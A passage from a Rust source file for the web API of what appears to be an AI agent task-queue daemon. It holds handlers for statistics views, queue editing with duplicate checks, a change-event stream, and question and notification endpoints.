4502 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4503 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4504 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4505 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4506 let max_attempts = daemon::Opts::default().max_attempts;
4507 let flow = task_flow(&task, &history, max_attempts);
4508 Ok(Json(TaskDetailView {
4509 max_attempts,
4510 flow,
4511 history,
4512 runs_unreadable,
4513 attempts_note: ATTEMPTS_NOTE,
4514 task: TaskView::with_inventory(task, &inv),
4515 }))
4516 })
4517 .await
4518}
4519
4520#[derive(Debug, Serialize)]
4524struct RateView {
4525 pct: f64,
4526 denominator: usize,
4527}
4528
4529impl RateView {
4530 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4531 (denominator > 0).then(|| Self {
4532 pct: 100.0 * numerator as f64 / denominator as f64,
4533 denominator,
4534 })
4535 }
4536}
4537
4538#[derive(Debug, Serialize)]
4543struct StatsTotalsView {
4544 runs: usize,
4545 merged: usize,
4546 ready: usize,
4547 blocked: usize,
4548 failed: usize,
4549 stalled: usize,
4550 verified_noop: usize,
4551 superseded: usize,
4552 in_progress: usize,
4553 completion_rate: Option<RateView>,
4554 tallied: usize,
4555 split: usize,
4556 split_rate: Option<RateView>,
4557 deliberated: usize,
4558 minds_changed: usize,
4559 converged: usize,
4560 review_rounds: usize,
4561}
4562
4563impl From<&stats::Totals> for StatsTotalsView {
4564 fn from(t: &stats::Totals) -> Self {
4565 Self {
4566 runs: t.runs,
4567 merged: t.merged,
4568 ready: t.ready,
4569 blocked: t.blocked,
4570 failed: t.failed,
4571 stalled: t.stalled,
4572 verified_noop: t.verified_noop,
4573 superseded: t.superseded,
4574 in_progress: t.in_progress,
4575 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4576 tallied: t.tallied,
4577 split: t.split,
4578 split_rate: RateView::of(t.split, t.tallied),
4579 deliberated: t.deliberated,
4580 minds_changed: t.minds_changed,
4581 converged: t.converged,
4582 review_rounds: t.review_rounds,
4583 }
4584 }
4585}
4586
4587#[derive(Debug, Serialize)]
4589struct AgentStatsView {
4590 agent: String,
4591 entered: usize,
4592 wins: usize,
4593 empty: usize,
4594 win_rate: Option<RateView>,
4595}
4596
4597impl From<&stats::AgentStats> for AgentStatsView {
4598 fn from(a: &stats::AgentStats) -> Self {
4599 Self {
4600 agent: a.agent.clone(),
4601 entered: a.entered,
4602 wins: a.wins,
4603 empty: a.empty,
4604 win_rate: RateView::of(a.wins, a.entered),
4605 }
4606 }
4607}
4608
4609#[derive(Debug, Serialize)]
4613struct ReviewerStatsView {
4614 agent: String,
4615 rounds: usize,
4616 seated: usize,
4617 submitted: usize,
4618 adopted: usize,
4619 unique: usize,
4620 timeouts: usize,
4621 adopted_per_round: Option<f64>,
4622 precision: Option<RateView>,
4623 unique_rate: Option<RateView>,
4624 timeout_rate: Option<RateView>,
4625}
4626
4627impl From<&stats::ReviewerStats> for ReviewerStatsView {
4628 fn from(r: &stats::ReviewerStats) -> Self {
4629 Self {
4630 agent: r.agent.clone(),
4631 rounds: r.rounds,
4632 seated: r.seated,
4633 submitted: r.submitted,
4634 adopted: r.adopted,
4635 unique: r.unique,
4636 timeouts: r.timeouts,
4637 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4638 precision: RateView::of(r.adopted, r.submitted),
4639 unique_rate: RateView::of(r.unique, r.submitted),
4640 timeout_rate: RateView::of(r.timeouts, r.seated),
4641 }
4642 }
4643}
4644
4645#[derive(Debug, Serialize)]
4651struct AdvisorStatsView {
4652 agent: String,
4653 seated: usize,
4654 proposed: usize,
4655 absent: usize,
4656 faint: usize,
4657 strong: usize,
4658 reflection_rate: Option<RateView>,
4659}
4660
4661impl From<&stats::AdvisorStats> for AdvisorStatsView {
4662 fn from(a: &stats::AdvisorStats) -> Self {
4663 Self {
4664 agent: a.agent.clone(),
4665 seated: a.seated,
4666 proposed: a.proposed,
4667 absent: a.absent,
4668 faint: a.faint,
4669 strong: a.strong,
4670 reflection_rate: RateView::of(a.strong, a.proposed),
4671 }
4672 }
4673}
4674
4675#[derive(Debug, Serialize)]
4677struct E2eStatsView {
4678 rounds: usize,
4679 failures: usize,
4680 sole_detections: usize,
4681 deferred: usize,
4682 sole_rate: Option<RateView>,
4683}
4684
4685impl From<&stats::E2eStats> for E2eStatsView {
4686 fn from(e: &stats::E2eStats) -> Self {
4687 Self {
4688 rounds: e.rounds,
4689 failures: e.failures,
4690 sole_detections: e.sole_detections,
4691 deferred: e.deferred,
4692 sole_rate: RateView::of(e.sole_detections, e.failures),
4693 }
4694 }
4695}
4696
4697#[derive(Debug, Serialize)]
4705struct ReleaseBumpStatsView {
4706 merged: usize,
4707 recorded: usize,
4708 pr_opened: usize,
4709 automerge_enabled: usize,
4710 merged_directly: usize,
4711 needs_attention: usize,
4712 clean: usize,
4713 coverage_rate: Option<RateView>,
4714 automerge_rate: Option<RateView>,
4715 attention_rate: Option<RateView>,
4716}
4717
4718impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4719 fn from(b: &stats::ReleaseBumpStats) -> Self {
4720 Self {
4721 merged: b.merged,
4722 recorded: b.recorded,
4723 pr_opened: b.pr_opened,
4724 automerge_enabled: b.automerge_enabled,
4725 merged_directly: b.merged_directly,
4726 needs_attention: b.needs_attention,
4727 clean: b.clean(),
4728 coverage_rate: RateView::of(b.recorded, b.merged),
4729 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4730 attention_rate: RateView::of(b.needs_attention, b.recorded),
4731 }
4732 }
4733}
4734
4735#[derive(Debug, Serialize)]
4737struct TaskCountsView {
4738 queued: usize,
4739 running: usize,
4740 done: usize,
4741 failed: usize,
4742 held: usize,
4743 blocked: usize,
4744}
4745
4746impl From<crate::queue::TaskCounts> for TaskCountsView {
4747 fn from(c: crate::queue::TaskCounts) -> Self {
4748 Self {
4749 queued: c.queued,
4750 running: c.running,
4751 done: c.done,
4752 failed: c.failed,
4753 held: c.held,
4754 blocked: c.blocked,
4755 }
4756 }
4757}
4758
4759#[derive(Debug, Serialize)]
4765struct RepoSummaryView {
4766 repo: String,
4769 name: String,
4771 runs: usize,
4772 completion_rate: Option<RateView>,
4773}
4774
4775impl From<&stats::RepoStats> for RepoSummaryView {
4776 fn from(r: &stats::RepoStats) -> Self {
4777 let t = &r.stats.totals;
4778 Self {
4779 repo: r.repo.to_string_lossy().into_owned(),
4780 name: r.name.clone(),
4781 runs: t.runs,
4782 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4783 }
4784 }
4785}
4786
4787#[derive(Debug, Serialize)]
4793struct StatsView {
4794 totals: StatsTotalsView,
4795 agents: Vec<AgentStatsView>,
4797 reviewers: Vec<ReviewerStatsView>,
4799 advisors: Vec<AdvisorStatsView>,
4801 e2e: E2eStatsView,
4802 release_bumps: ReleaseBumpStatsView,
4803 queue: TaskCountsView,
4804 runs_unreadable: usize,
4814 repos: Vec<RepoSummaryView>,
4818 daily: Vec<DailyStatsView>,
4823 repo: Option<String>,
4827}
4828
4829#[derive(Debug, Serialize)]
4831struct DailyStatsView {
4832 date: String,
4834 runs: usize,
4835 merged: usize,
4836 ready: usize,
4837 other: usize,
4838 completion_rate: Option<RateView>,
4840}
4841
4842impl From<&stats::DayBucket> for DailyStatsView {
4843 fn from(b: &stats::DayBucket) -> Self {
4844 Self {
4845 date: b.date.to_string(),
4846 runs: b.runs,
4847 merged: b.merged,
4848 ready: b.ready,
4849 other: b.other,
4850 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4851 }
4852 }
4853}
4854
4855const STATS_DAILY_DAYS: usize = 30;
4857
4858#[derive(Debug, Default, Deserialize)]
4867#[serde(default)]
4868struct StatsQuery {
4869 repo: Option<String>,
4870}
4871
4872async fn stats_get(
4879 State(ui): State<Arc<Ui>>,
4880 Query(q): Query<StatsQuery>,
4881) -> ApiResult<Json<StatsView>> {
4882 blocking(move || {
4883 let states: Vec<RunState> = run_ids(&ui.runs)
4884 .into_iter()
4885 .filter_map(|id| read_run(&ui.runs, &id).ok())
4886 .collect();
4887 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4888 .iter()
4889 .map(RepoSummaryView::from)
4890 .collect();
4891 let mut scoped: Vec<&RunState> = states.iter().collect();
4892 let collected = match &q.repo {
4893 Some(repo) => {
4894 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4895 if filtered.is_empty() {
4896 return Err(ApiError::not_found(format!(
4897 "no runs recorded against repo `{repo}`"
4898 )));
4899 }
4900 scoped = filtered.clone();
4901 stats::collect_refs(filtered)
4902 }
4903 None => stats::collect(&states),
4904 };
4905 let daily = stats::daily(
4906 scoped,
4907 jiff::Zoned::now().date(),
4908 &jiff::tz::TimeZone::system(),
4909 STATS_DAILY_DAYS,
4910 );
4911 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4912 Ok(Json(StatsView {
4913 totals: StatsTotalsView::from(&collected.totals),
4914 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4915 reviewers: collected
4916 .reviewers
4917 .iter()
4918 .map(ReviewerStatsView::from)
4919 .collect(),
4920 advisors: collected
4921 .advisors
4922 .iter()
4923 .map(AdvisorStatsView::from)
4924 .collect(),
4925 e2e: E2eStatsView::from(&collected.e2e),
4926 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4927 queue: TaskCountsView::from(queue_counts),
4928 runs_unreadable: runs_unreadable(&ui.runs),
4929 repos,
4930 daily: daily.iter().map(DailyStatsView::from).collect(),
4931 repo: q.repo.clone(),
4932 }))
4933 })
4934 .await
4935}
4936
4937#[derive(Debug, Default, Deserialize)]
4940#[serde(default, deny_unknown_fields)]
4941struct HoldBody {
4942 reason: Option<String>,
4943}
4944
4945async fn queue_hold(
4946 State(ui): State<Arc<Ui>>,
4947 Path(id): Path<String>,
4948 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4949) -> ApiResult<Json<TaskView>> {
4950 let body = match body {
4954 Ok(Json(body)) => body,
4955 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4956 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4957 };
4958 let reason = body.reason.filter(|r| !r.trim().is_empty());
4959 mutate(ui, id, move |t| {
4960 t.hold_manual(reason.clone());
4961 Ok(())
4962 })
4963 .await
4964}
4965
4966async fn queue_release(
4967 State(ui): State<Arc<Ui>>,
4968 Path(id): Path<String>,
4969) -> ApiResult<Json<TaskView>> {
4970 mutate(ui, id, |t| {
4971 t.release();
4972 Ok(())
4973 })
4974 .await
4975}
4976
4977#[derive(Debug, Deserialize)]
4979#[serde(deny_unknown_fields)]
4980struct PriorityBody {
4981 priority: i32,
4982}
4983
4984async fn queue_priority(
4990 State(ui): State<Arc<Ui>>,
4991 Path(id): Path<String>,
4992 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4993) -> ApiResult<Json<TaskView>> {
4994 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4995 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4996}
4997
4998#[derive(Debug, Deserialize)]
5000#[serde(deny_unknown_fields)]
5001struct EditBody {
5002 title: String,
5003 instruction: String,
5004 #[serde(default)]
5007 force: bool,
5008}
5009
5010async fn queue_edit(
5014 State(ui): State<Arc<Ui>>,
5015 Path(id): Path<String>,
5016 body: std::result::Result<Json<EditBody>, JsonRejection>,
5017) -> ApiResult<Json<TaskView>> {
5018 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5019 let mut judged: Option<(String, PathBuf)> = None;
5023 if !body.force {
5024 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5025 let (id, text) = (id.clone(), body.instruction.clone());
5026 let (seen, hits) = blocking(move || {
5027 let id = resolve_task(&queue, &id)?;
5028 let t = queue.get(&id)?;
5029 if text == t.instruction {
5030 return Ok((None, Vec::new()));
5031 }
5032 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5033 Ok((Some((t.instruction, t.repo)), hits))
5034 })
5035 .await?;
5036 if let Some((_, repo)) = &seen {
5037 let cfg = crate::config::Config::discover(repo, None)
5038 .ok()
5039 .map(|(c, _)| c);
5040 let screened =
5041 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5042 .await
5043 .map_err(|dup| {
5044 ApiError::conflict(dup.render(
5045 "Nothing was saved. If it is not a duplicate, repeat the request \
5046 with \"force\": true.",
5047 ))
5048 })?;
5049 if let crate::dupes::Screened::Unjudged(why) = screened {
5050 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5051 }
5052 }
5053 judged = seen;
5054 }
5055 let force = body.force;
5056 mutate(ui, id, move |t| {
5057 if !force && body.instruction != t.instruction {
5058 match &judged {
5059 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5060 _ => {
5061 anyhow::bail!("the task changed while it was being checked; repeat the request")
5062 }
5063 }
5064 }
5065 t.edit(body.title.clone(), body.instruction.clone())
5066 })
5067 .await
5068}
5069
5070async fn queue_done(
5078 State(ui): State<Arc<Ui>>,
5079 Path(id): Path<String>,
5080) -> ApiResult<Json<TaskView>> {
5081 let home = ui.home.clone();
5082 mutate(ui, id, move |t| {
5083 t.succeed();
5084 crate::daemon::supersede_prior_runs(t, &home);
5092 Ok(())
5093 })
5094 .await
5095}
5096
5097async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5105 blocking(move || {
5106 let id = resolve_task(&ui.queue, &id)?;
5107 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5108 ui.queue
5109 .remove(&id, in_flight, &ui.questions)
5110 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5111 Ok(StatusCode::NO_CONTENT)
5112 })
5113 .await
5114}
5115
5116async fn mutate(
5125 ui: Arc<Ui>,
5126 id: String,
5127 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5128) -> ApiResult<Json<TaskView>> {
5129 blocking(move || {
5130 let id = resolve_task(&ui.queue, &id)?;
5131 let _claim = ui.queue.claim(&id).map_err(|e| {
5136 ApiError::conflict(format!(
5137 "{e:#} - a daemon is running this task, so it cannot be \
5138 changed from here yet"
5139 ))
5140 })?;
5141 let mut task = ui.queue.get(&id)?;
5142 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5143 Ok(dup) => ApiError::conflict(dup.render(
5144 "Nothing was saved. If it is not a duplicate, repeat the request with \
5145 \"force\": true.",
5146 )),
5147 Err(e) => ApiError::bad_request_from(e),
5148 })?;
5149 ui.queue.put(&mut task)?;
5150 Ok(Json(TaskView::from(task)))
5151 })
5152 .await
5153}
5154
5155async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5163 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5164 tokio::spawn(async move {
5165 let mut ticker = tokio::time::interval(POLL);
5166 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5167 let mut stamps: Option<[Stamps; 3]> = None;
5168 loop {
5169 ticker.tick().await;
5172 let state = Arc::clone(&ui);
5173 let revisions = tokio::task::spawn_blocking(move || {
5174 let stamps = [
5175 store_stamps(state.queue.root(), false),
5176 store_stamps(&state.runs, true),
5177 store_stamps(state.talks.root(), false),
5178 ];
5179 let revisions = (
5180 stamps_revision(&stamps[0]),
5181 stamps_revision(&stamps[1]),
5182 state.questions.revision(),
5183 stamps_revision(&stamps[2]),
5184 state.notices.revision(),
5185 state.lock_loop().rev,
5189 );
5190 (revisions, stamps)
5191 })
5192 .await;
5193 let Ok((revisions, next_stamps)) = revisions else {
5194 break;
5195 };
5196 if last == Some(revisions) {
5197 continue;
5198 }
5199 let mut payload = serde_json::json!({
5200 "queue_rev": revisions.0,
5201 "runs_rev": revisions.1,
5202 "questions_rev": revisions.2,
5203 "talks_rev": revisions.3,
5204 "notifications_rev": revisions.4,
5205 "loop_rev": revisions.5,
5206 });
5207 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5208 for (index, (key, rev)) in [
5209 ("queue_delta", base.0),
5210 ("runs_delta", base.1),
5211 ("talks_delta", base.3),
5212 ]
5213 .into_iter()
5214 .enumerate()
5215 {
5216 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5217 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5219 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5220 }
5221 }
5222 }
5223 last = Some(revisions);
5224 stamps = Some(next_stamps);
5225 let Ok(event) = Event::default().event("change").json_data(payload) else {
5227 break;
5228 };
5229 if tx.send(event).await.is_err() {
5230 break;
5231 }
5232 }
5233 });
5234 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5235 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5236}
5237
5238type Stamps = HashMap<String, (u128, u64)>;
5239
5240fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5242 std::fs::read_dir(root)
5243 .into_iter()
5244 .flatten()
5245 .flatten()
5246 .filter_map(|entry| {
5247 let path = if runs {
5248 entry.path().join("run.json")
5249 } else {
5250 entry.path()
5251 };
5252 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5253 return None;
5254 }
5255 let metadata = path.metadata().ok()?;
5256 let modified = metadata
5257 .modified()
5258 .ok()?
5259 .duration_since(std::time::UNIX_EPOCH)
5260 .ok()?;
5261 let id = if runs {
5262 entry.file_name().to_string_lossy().into_owned()
5263 } else {
5264 path.file_stem()?.to_string_lossy().into_owned()
5265 };
5266 Some((id, (modified.as_nanos(), metadata.len())))
5267 })
5268 .collect()
5269}
5270
5271#[derive(Debug, Serialize)]
5272struct Delta {
5273 base: u64,
5274 changed: Vec<String>,
5275 removed: Vec<String>,
5276}
5277
5278fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5279 let mut changed: Vec<_> = next
5280 .iter()
5281 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5282 .map(|(id, _)| id.clone())
5283 .collect();
5284 let mut removed: Vec<_> = previous
5285 .keys()
5286 .filter(|id| !next.contains_key(*id))
5287 .cloned()
5288 .collect();
5289 changed.sort_unstable();
5290 removed.sort_unstable();
5291 Delta {
5292 base,
5293 changed,
5294 removed,
5295 }
5296}
5297
5298fn runs_revision(runs: &FsPath) -> u64 {
5305 stamps_revision(&store_stamps(runs, true))
5306}
5307
5308fn stamps_revision(stamps: &Stamps) -> u64 {
5312 use std::hash::{Hash as _, Hasher as _};
5313 if stamps.is_empty() {
5314 return 0;
5315 }
5316 let mut entries: Vec<_> = stamps.iter().collect();
5317 entries.sort_unstable();
5318 let mut hasher = std::hash::DefaultHasher::new();
5319 entries.hash(&mut hasher);
5320 hasher.finish().max(1)
5321}
5322
5323fn run_ids(runs: &FsPath) -> Vec<String> {
5329 let mut ids: Vec<String> = std::fs::read_dir(runs)
5330 .into_iter()
5331 .flatten()
5332 .flatten()
5333 .filter(|e| e.path().join("run.json").is_file())
5334 .map(|e| e.file_name().to_string_lossy().into_owned())
5335 .collect();
5336 ids.sort_unstable_by(|a, b| b.cmp(a));
5338 ids
5339}
5340
5341fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5343 let path = runs.join(id).join("run.json");
5344 let body =
5345 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5346 let state: RunState =
5347 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5348 run::migrate_schema(state)
5353}
5354
5355#[must_use]
5363pub fn runs_unreadable(runs: &FsPath) -> usize {
5364 run_ids(runs)
5365 .into_iter()
5366 .filter(|id| read_run(runs, id).is_err())
5367 .count()
5368}
5369
5370fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5372 if runs.join(id).join("run.json").is_file() {
5373 return Ok(id.to_owned());
5374 }
5375 pick(run_ids(runs), id, "run")
5376}
5377
5378fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5380 if queue.path_of(id).is_file() {
5381 return Ok(id.to_owned());
5382 }
5383 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5384}
5385
5386#[derive(Debug, Serialize)]
5397struct QuestionView {
5398 #[serde(flatten)]
5399 question: Question,
5400 detail_md: Vec<md::Node>,
5401 thread_bodies_md: Vec<Vec<md::Node>>,
5403 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5406 waiting_on_agent: bool,
5416 holder: Option<&'static str>,
5420 deputies_enabled: bool,
5424 run_is_task: bool,
5427 origin_chat: Option<String>,
5432}
5433
5434impl QuestionView {
5435 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5439 let base = md::ImageBase::QuestionPanel {
5440 id: question.id.clone(),
5441 };
5442 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5443 Self {
5444 detail_md: md::to_nodes(&question.detail, &base),
5445 thread_bodies_md: question
5446 .thread
5447 .iter()
5448 .map(|t| md::to_nodes(&t.body, &base))
5449 .collect(),
5450 thread_notes_md: question
5451 .thread
5452 .iter()
5453 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5454 .collect(),
5455 waiting_on_agent: question.waiting_on_agent(),
5456 holder,
5457 deputies_enabled,
5458 run_is_task: question.run_names_task(),
5459 origin_chat: None,
5460 question,
5461 }
5462 }
5463
5464 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5466 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5467 self
5468 }
5469}
5470
5471fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5475 Config::discover(repo, None).ok().map(|(c, _)| c)
5476}
5477
5478fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5480 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5481}
5482
5483fn question_views(
5486 qs: Vec<Question>,
5487 store: &ask::Questions,
5488 load: impl FnOnce() -> Option<Config>,
5489) -> Vec<QuestionView> {
5490 if qs.is_empty() {
5491 return Vec::new();
5492 }
5493 let cfg = load();
5494 qs.into_iter()
5495 .map(|q| {
5496 let on = deputies_enabled(cfg.as_ref(), &q);
5497 QuestionView::of(q, store, on)
5498 })
5499 .collect()
5500}
5501
5502fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5512 if !q.status.open() {
5513 return None;
5514 }
5515 if q.cwd.is_none() && q.deputy.is_none() {
5516 return crate::deputy::kind_of(q).map(|_| "nobody");
5517 }
5518 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5519 Some(_) if q.deputy.is_some() => "deputy",
5520 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5521 Some(_) => "asker",
5522 None => "nobody",
5523 })
5524}
5525
5526async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5532 blocking(move || {
5533 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5534 Ok(Json(
5535 question_views(ui.questions.list(), &ui.questions, || {
5536 deputy_config(&ui.repo)
5537 })
5538 .into_iter()
5539 .map(|v| v.with_origin(&tasks, &talks))
5540 .collect(),
5541 ))
5542 })
5543 .await
5544}
5545
5546async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5549 blocking(move || {
5550 let items = ui.notices.list();
5551 let unread = items.iter().filter(|n| n.unread()).count();
5552 Ok(Json(
5553 serde_json::json!({ "unread": unread, "items": items }),
5554 ))
5555 })
5556 .await
5557}
5558
5559fn notice_error(e: anyhow::Error) -> ApiError {
5560 ApiError::not_found(format!("{e:#}"))
5563}
5564
5565async fn notification_read(
5567 State(ui): State<Arc<Ui>>,
5568 Path(id): Path<String>,
5569) -> ApiResult<Json<Notice>> {
5570 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5571}
5572
5573async fn notification_dismiss(
5575 State(ui): State<Arc<Ui>>,
5576 Path(id): Path<String>,
5577) -> ApiResult<Json<Notice>> {
5578 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5579}
5580
5581async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5583 blocking(move || {
5584 let changed = ui.notices.mark_all_read()?;
5585 Ok(Json(serde_json::json!({ "marked": changed })))
5586 })
5587 .await
5588}
5589
5590#[derive(Debug, Default, Deserialize)]
5596#[serde(default, deny_unknown_fields)]
5597struct NewAnswer {
5598 choice: Option<String>,
5599 text: Option<String>,
5600}
5601
5602async fn question_answer(
5603 State(ui): State<Arc<Ui>>,
5604 Path(id): Path<String>,
5605 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5606) -> ApiResult<Json<QuestionView>> {
5607 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5608 let answer = match (body.choice, body.text) {
5609 (Some(c), None) => Answer::Choice(c),
5610 (None, Some(t)) => Answer::Text(t),
5611 (Some(_), Some(_)) => {
5612 return Err(ApiError::bad_request(
5613 "send either `choice` or `text`, not both",
5614 ));
5615 }
5616 (None, None) => {
5617 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5618 }
5619 };
5620
5621 blocking(move || {
5622 let id = resolve_question(&ui.questions, &id)?;
5623 let q = ui
5624 .questions
5625 .get(&id)
5626 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5627 if !q.status.open() {
5628 return Err(ApiError::conflict(format!(
5632 "question {} is already {}",
5633 q.short(),
5634 q.status.as_str()
5635 )));
5636 }
5637 let (q, ()) = ui
5641 .questions
5642 .update(&q.id, |r| r.answer(answer))
5643 .map_err(ApiError::bad_request_from)?;
5644 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5645 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5646 Ok(Json(
5647 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5648 ))
5649 })
5650 .await
5651}
5652
5653#[derive(Debug, Deserialize)]
5655#[serde(deny_unknown_fields)]
5656struct NewSay {
5657 body: String,
5658}
5659
5660async fn question_say(
5670 State(ui): State<Arc<Ui>>,
5671 Path(id): Path<String>,
5672 body: std::result::Result<Json<NewSay>, JsonRejection>,
5673) -> ApiResult<Json<QuestionView>> {
5674 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5675 blocking(move || {
5676 let id = resolve_question(&ui.questions, &id)?;
5677 let q = ui
5678 .questions
5679 .get(&id)
5680 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5681 if !q.status.open() {
5682 return Err(ApiError::conflict(format!(
5686 "question {} is already {}",
5687 q.short(),
5688 q.status.as_str()
5689 )));
5690 }
5691 let (q, ()) = ui
5694 .questions
5695 .update(&q.id, |r| r.say(body.body))
5696 .map_err(ApiError::bad_request_from)?;
5697 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5698 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5699 Ok(Json(
5700 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5701 ))
5702 })
5703 .await
5704}
5705
5706async fn question_consult(
5715 State(ui): State<Arc<Ui>>,
5716 Path(id): Path<String>,
5717) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5718 let (view, reclaimed) = blocking({
5719 let ui = Arc::clone(&ui);
5720 move || {
5721 let id = resolve_question(&ui.questions, &id)?;
5722 let q = ui
5723 .questions
5724 .get(&id)
5725 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5726 if !q.status.open() {
5727 return Err(ApiError::conflict(format!(
5728 "question {} is already {}",
5729 q.short(),
5730 q.status.as_str()
5731 )));
5732 }
5733 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5734 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5735 return Err(ApiError::conflict(format!(
5736 "question {} has no open chat to ask",
5737 q.short()
5738 )));
5739 };
5740 let cfg = if q.consult.is_none() {
5744 Some(Config::discover(&talk.repo, None)?.0)
5745 } else {
5746 None
5747 };
5748 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5749 let claim = if fresh {
5750 match ui.begin_queued_talk_turn(&talk.id)? {
5751 Some(turn_guard) => {
5752 let talk = ui.talks.get(&talk.id)?;
5753 let cfg = match cfg {
5754 Some(cfg) => cfg,
5755 None => Config::discover(&talk.repo, None)?.0,
5756 };
5757 Some((talk, cfg, turn_guard))
5758 }
5759 None => None,
5760 }
5761 } else {
5762 None
5763 };
5764 let q = ui.questions.get(&q.id)?;
5765 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5766 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5767 Ok((view, claim))
5768 }
5769 })
5770 .await?;
5771 if let Some((talk, cfg, turn_guard)) = reclaimed {
5772 let talks = ui.talks.clone();
5773 let id = talk.id.clone();
5774 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5775 }
5776 Ok((StatusCode::ACCEPTED, Json(view)))
5777}
5778
5779fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5781 if store.path_of(id).is_file() {
5782 return Ok(id.to_owned());
5783 }
5784 pick(
5785 store.list().into_iter().map(|q| q.id).collect(),
5786 id,
5787 "question",
5788 )
5789}
5790
5791async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5806 blocking(move || {
5807 let id = resolve_question(&ui.questions, &id)?;
